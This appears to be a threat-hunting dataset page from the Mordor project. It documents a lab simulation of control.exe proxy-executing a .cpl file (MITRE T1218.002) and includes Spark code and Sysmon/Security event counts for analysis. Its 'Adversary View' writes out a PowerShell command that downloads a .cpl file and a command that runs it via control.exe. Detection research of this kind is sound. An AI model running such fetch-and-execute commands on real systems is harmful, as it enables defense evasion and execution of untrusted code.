Control Panel Execution¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/22 |
Modification Date |
2020/10/22 |
Tactics |
[‘TA0005’] |
Techniques |
[‘T1218.002’] |
Tags |
[‘art.037e9d8a-9e46-4255-8b33-2ae3b545ca6f’] |
Dataset Description¶
This dataset represents threat actors leveraging control.exe to execute a .cpl file to proxy execute another payload (i.e. calc).
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
Simulation Plan¶
Environment |
Tool Type |
Module |
---|---|---|
Lab VM |
Manual |
Adversary View¶
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile C:\ProgramData\calc.cpl
control.exe C:\ProgramData\calc.cpl
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_control_panel_execution.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |480 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |408 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |170 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |82 |
|WORKSTATION5|Security |4658 |30 |
|WORKSTATION5|Security |4690 |15 |
|WORKSTATION5|Security |4656 |15 |
|WORKSTATION5|Security |4663 |12 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |10 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |9 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9 |9 |
|WORKSTATION5|Security |4688 |9 |
|WORKSTATION5|Security |5158 |8 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5 |6 |
|WORKSTATION5|Security |4689 |6 |
|WORKSTATION5|Security |5156 |6 |
|WORKSTATION5|Security |4673 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22 |2 |
|WORKSTATION5|Security |4624 |1 |
+------------+------------------------------------+-------+-----+
only showing top 20 rows